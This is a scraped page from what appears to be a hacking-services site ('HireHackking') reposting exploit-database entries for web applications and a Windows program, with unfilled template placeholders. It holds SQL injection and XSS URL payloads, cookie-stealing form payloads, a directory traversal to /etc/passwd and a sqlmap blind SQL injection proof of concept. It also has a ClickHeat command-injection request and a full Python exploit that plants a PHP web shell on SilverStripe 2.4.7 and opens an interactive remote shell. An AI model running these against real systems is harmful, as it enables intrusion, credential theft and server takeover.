XM Forum - 'id' Multiple SQL Injections

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53292/info XM Forum is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/[patch]/profile.asp?$sid=&id=[SQL] http://www.example.com/[patch]/forum.asp?$sid=&id=[SQL] http://www.example.com/[patch]/topic.asp?$sid=&id=[SQL]
HireHackking

BBSXP CMS - Multiple SQL Injections

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53298/info BBSXP CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/ShowPost.asp?ThreadID=[SQL] http://www.example.com/blog.asp?id=[SQL] http://www.example.com/ShowForum.asp?ForumID=[SQL] http://www.example.com/Profile.asp?UserName=[SQL] http://www.example.com/print.asp?id=[SQL]
HireHackking

WordPress Plugin WPsc MijnPress - 'rwflush' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53302/info The WPsc MijnPress for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/wp-content/plugins/wp-content/plugins/wpsc-mijnpress/mijnpress_plugin_framework.php?rwflush=[xss]
HireHackking
source: https://www.securityfocus.com/bid/53306/info MySQLDumper is prone to multiple security vulnerabilities, including: 1. Multiple cross-site scripting vulnerabilities. 2. A local file-include vulnerability. 3. Multiple cross-site request-forgery vulnerabilities. 4. Multiple information-disclosure vulnerabilities. 5. A directory-traversal vulnerability. Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks. MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. http://www.example.com/learn/cubemail/install.php?language=../../../../../../../../../../../../../../../../../etc/passwd%00
HireHackking

Acuity CMS 2.6.2 - 'Username' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53048/info Acuity CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Acuity CMS 2.6.2 is vulnerable; other versions may also be affected. http://www.example.com/admin/login.asp?UserName=";><script>prompt(/xss/)</script>
HireHackking
source: https://www.securityfocus.com/bid/53143/info XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. XOOPS 2.5.4 is vulnerable; other versions may be affected. <form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post"> <input type="hidden" name="isadmin" value='1'> <input type="hidden" name="catreadcount" value='1'> <input type="hidden" name="catwritecount" value='1'> <input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="submit" id="btn"> </form> <form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post"> <input type="hidden" name="isadmin" value='1'> <input type="hidden" name="catreadcount" value='1'> <input type="hidden" name="catwritecount" value='1'> <input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'> <input type="hidden" name="op" value='editcat'> <input type="submit" value="submit" id="btn"> </form> <form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php" method="post"> <input type="hidden" name="isadmin" value='1'> <input type="hidden" name="catreadcount" value='1'> <input type="hidden" name="catwritecount" value='1'> <input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="submit" id="btn"> </form>
HireHackking

Pendulab ChatBlazer 8.5 - 'Username' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53168/info ChatBlazer is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. ChatBlazer 8.5 is vulnerable; other versions may also be affected. http://www.example.com/cb8.5/client.php?username=%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29%3C/SCRIPT%3E&password=&roomid=1009&config=config.php%3Fembed%3D0
HireHackking

WordPress Plugin Simple Photo Gallery 1.7.8 - Blind SQL Injection

HACKER · %s · %s

# Exploit Title: Wordpess Simple Photo Gallery Blind SQL Injection # Date: 12-05-2015 # Exploit Author: woodspeed # Vendor Homepage: https://wordpress.org/plugins/simple-photo-gallery/ # Version: 1.7.8 # Tested on: Apache 2.2.22, PHP 5.3.10 # OSVDB ID : http://www.osvdb.org/show/osvdb/122374 # WPVULNDB ID : https://wpvulndb.com/vulnerabilities/8000 # Category: webapps 1. Description Unauthenticated Blind SQL Injection via gallery_id field. 2. Proof of Concept http://localhost/wordpress/index.php/wppg_photogallery/wppg_photo_details/?gallery_id=1&image_id=14 ./sqlmap.py --dbms=MYSQL --technique T -u http://localhost/wordpress/index.php/wppg_photogallery/wppg_photo_details/?gallery_id=1&image_id=14 sqlmap identified the following injection points with a total of 60 HTTP(s) requests: --- Parameter: gallery_id (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: gallery_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))QBzh) Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: gallery_id=1 UNION ALL SELECT CONCAT(0x7176787071,0x76576b586376794b756d,0x71707a7171)-- --- web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal) web application technology: Apache 2.2.22, PHP 5.3.10 back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL 5.0.12 banner: '5.5.43-0ubuntu0.12.04.1' current user: 'wordpress@localhost' current database: 'wordpress' --- 3. Solution Fixed in version 1.8.0
HireHackking

ClickHeat 1.13+ - Remote Command Execution

HACKER · %s · %s

Clickheat 1.13+ Unauthenticated RCE ----------------------------------- The Clickheat developers have been informed, but have not responded to my email. The code has not been updated recently and the project seems to be in an abandoned state. I have discovered a vulnerability in Clickheat 1.13 onwards that would allow an attacker to execute arbitrary commands on the remote webserver, in the context of the user running the webserver, without authentication. This could lead to unauthenticated access to the Clickheat web application, and potentially complete takeover of the remote webserver. For the exploit to be successful, the webserver (Apache was tested in this case) must be configured to handle Perl (.pl) scripts and have the ExecCGI directive present in the VirtualHost configuration. The issue stems from a script called parseClickLogs.pl in the /scripts directory of clickheat. If the Apache configuration is setup as above, this script will be executed when a user visits /clickheat/scripts/parseClickLogs.pl, as shown in Apache logs: [Tue May 12 13:36:27.068012 2015] [cgi:error] [pid 10783] [client 127.0.0.1:45523] AH01215: usage: ./parseClickLogs.pl apache_logs_file dest_path [domain_ignored] [Tue May 12 13:36:27.070133 2015] [cgi:error] [pid 10783] [client 127.0.0.1:45523] End of script output before headers: parseClickLogs.pl Arbitrary parameters can be supplied to the script directly from the URL, separated by +'s. In the script, on line 48 is a vulnerable open() command: open(LOGFILE, $srcFile) or die("Impossible d'ouvrir le fichier ".$srcFile); The open() command is vulnerable because the $srcFile parameter has not been sanitized in any way, it is simply the first parameter passed into the script. Also the open() command has not been explicitly set for input only, meaning its behavior can be manipulated by appending a pipe (|) symbol to input parameters. See here for discussion: http://www.cgisecurity.com/lib/sips.html. POC ---- The following POC shows how to gain access to the Clickheat configuration data by copying /clickheat/config/config.php to a plain text file for viewing. - Copy config.php using arbitrary commands on the server: GET /clickheat/scripts/parseClickLogs.pl?cp ../config/config.php conf.txt|+two - View newly created copy of config.php (\ is appended to the filename) GET /clickheat/scripts/conf.txt\ Mitigation ---------- A simple mitigation would be to either remove this script if it is not required by the core functionality of Clickheat, or move it outside of the publicly accessible HTML path. You could also explicitly set the open() to only allow for input, such as: open(LOGFILE, "<$srcFile") or die("Impossible d'ouvrir le fichier ".$srcFile);
HireHackking

SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection

HACKER · %s · %s

# source: https://www.securityfocus.com/bid/53282/info # # SilverStripe is prone to a remote PHP code-injection vulnerability. # # An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. # # SilverStripe 2.4.7 is vulnerable; other versions may also be affected. # #!/usr/bin/env python # -*- coding:utf-8 -*- import httplib, urllib, urllib2,sys, getopt def Menu(): print "\n\n-------------------------------------------------------" print "-Kullanim Klavuzu [ USAGE ] " print "-------------------------------------------------------" print "- Temel Kullanim - I [ Default Usage ] : " print "- python exo.py www.target.com / \n" print "- Temel Kullanim - II [ Default Usage ] : " print "- python exo.py www.target.com /path/ \n" if (len(sys.argv) <= 2) or (len(sys.argv) > 3): Menu() exit(1) host = sys.argv[1] path = sys.argv[2] print " [+] Exploit ediliyor..!" payload="blackcandy');fwrite(fopen(" payload+='"../shellcik.php","w"), ' payload+="'<?php $gelen" payload+='=@$_GET["gelen"]; echo shell_exec($gelen);?>' parametreler = urllib.urlencode({'db[type]':'MySQLDatabase', 'db[MySQLDatabase][server]':'localhost', 'db[MySQLDatabase][username]':'root', 'db[MySQLDatabase][password]':'qwe123', 'db[MySQLDatabase][database]':'SS_mysite', 'db[MSSQLDatabase][server]':'localhost', 'db[MSSQLDatabase][username]':'root', 'db[MSSQLDatabase][password]':'qwe123', 'db[MSSQLDatabase][database]':'SS_mysite', 'db[PostgreSQLDatabase][server]':'localhost', 'db[PostgreSQLDatabase][username]':'root', 'db[PostgreSQLDatabase][password]':'qwe123', 'db[PostgreSQLDatabase][database]':'SS_mysite', 'db[SQLiteDatabase][path]':'/var/www/SilverStripe/assets/.db', 'db[SQLiteDatabase][database]':'SS_mysite', 'admin[username]':'admin', 'admin[password]':'qwe123', 'locale':'en_US', 'template':payload, 'stats':'on', 'go':'Installing SilverStripe...'}) print " [+]Parametreler olusturuldu [ Params Generated For Http Request ]" basliklar = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language":"en-us,en;q=0.5", "Accept-Encoding":"gzip, deflate", "Connection":"keep-alive", "Referer":"http://" + host + path+"install.php", "Cookie":"alc_enc=1%3Aa9dbf14198a8f6bd9dd2d2c3e41e7164fb206d76; PastMember=1; PHPSESSID=0d7k4e661jd96i0u64vij68am3; phpbb3_srzvs_k=; phpbb3_srzvs_u=2; phpbb3_srzvs_sid=ede0a17fc1f375d6a633f291119c92d7; style_cookie=null; PHPSESSID=j7nr6uro3jc5tulodfeoum3u90; fws_cust=mince%232%23d41d8cd98f00b204e9800998ecf8427e" } print " [+]Basliklar olusturuldu [ Headers Generated For Http Request ]" conn = httplib.HTTPConnection("localhost:80") conn.request("POST",str(path) +"install.php",parametreler,basliklar) responce = conn.getresponse() if responce.status != 200: print "[+]Http Hatasi : " + responce.status + "\n" print "Cant Exploit!:(" if responce.status == 200: komut="" while( komut != "exit" ): komut = urllib.quote_plus(str(raw_input("Shell :) => "))) print urllib2.urlopen("http://" + host + path+"shellcik.php?gelen="+komut).read()
HireHackking

SKYUC 3.2.1 - 'encode' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53291/info SKYUC is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. SKYUC 3.2.1 is vulnerable; other versions may also be affected. http://www.example.com/search.php?encode=[XSS]
HireHackking

Uiga FanClub - 'p' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53295/info Uiga FanClub is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/[Patch]/index2.php?c=1&p=[SQL]
HireHackking

Shawn Bradley PHP Volunteer Management 1.0.2 - 'id' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53301/info PHP Volunteer Management is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. PHP Volunteer Management 1.0.2 is vulnerable; other versions may also be affected. http://www.example.com/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10
HireHackking
Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC Vendor: Acoustica, Inc. Product web page: http://www.acoustica.com Affected version: 1.0 Build 12 Summary: Pianissimo virtual piano uses a combination of sample playback and advanced physical modeling to create a stunning acoustic grand piano sound. Starting with 250 MB of high quality samples of a Steinway™ Model D grand piano, Pianissimo uses complex signal processing and programming to recreate the warmth, response, and playability of a real grand piano. Desc: The vulnerability is caused due to a boundary error in the processing of a user input in the registration id field of the registration procedure, which can be exploited to cause a buffer overflow when a user inserts long array of string for the ID. Successful exploitation could allow execution of arbitrary code on the affected machine. ----------------------------------------------------------------- (b98.1790): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\VST\Pianissimo\Pianissimo.dll - eax=00000000 ebx=532d0245 ecx=bdeec3ea edx=00000049 esi=4a18d43c edi=06c07739 eip=061fbda7 esp=00184a28 ebp=4d2d0276 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 Pianissimo!CRefObj::SeekToData+0x4127: 061fbda7 8b86dc200000 mov eax,dword ptr [esi+20DCh] ds:002b:4a18f518=???????? 0:000> d esp-1000 00183a28 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a38 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a48 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a58 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a68 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a78 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a88 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 00183a98 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0:000> u 061fbda7 Pianissimo!CRefObj::SeekToData+0x4127: 061fbda7 8b86dc200000 mov eax,dword ptr [esi+20DCh] 061fbdad 50 push eax 061fbdae 6a30 push 30h 061fbdb0 681cc52c06 push offset Pianissimo!CRefObj::Tell+0x45bfc (062cc51c) 061fbdb5 6810c52c06 push offset Pianissimo!CRefObj::Tell+0x45bf0 (062cc510) 061fbdba e841f8ffff call Pianissimo!CRefObj::SeekToData+0x3980 (061fb600) 061fbdbf 83c410 add esp,10h 061fbdc2 8ac3 mov al,bl ----------------------------------------------------------------- Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5243 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5243.php 16.03.2015 -- 900 bytes: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 11111-11111-11111-11111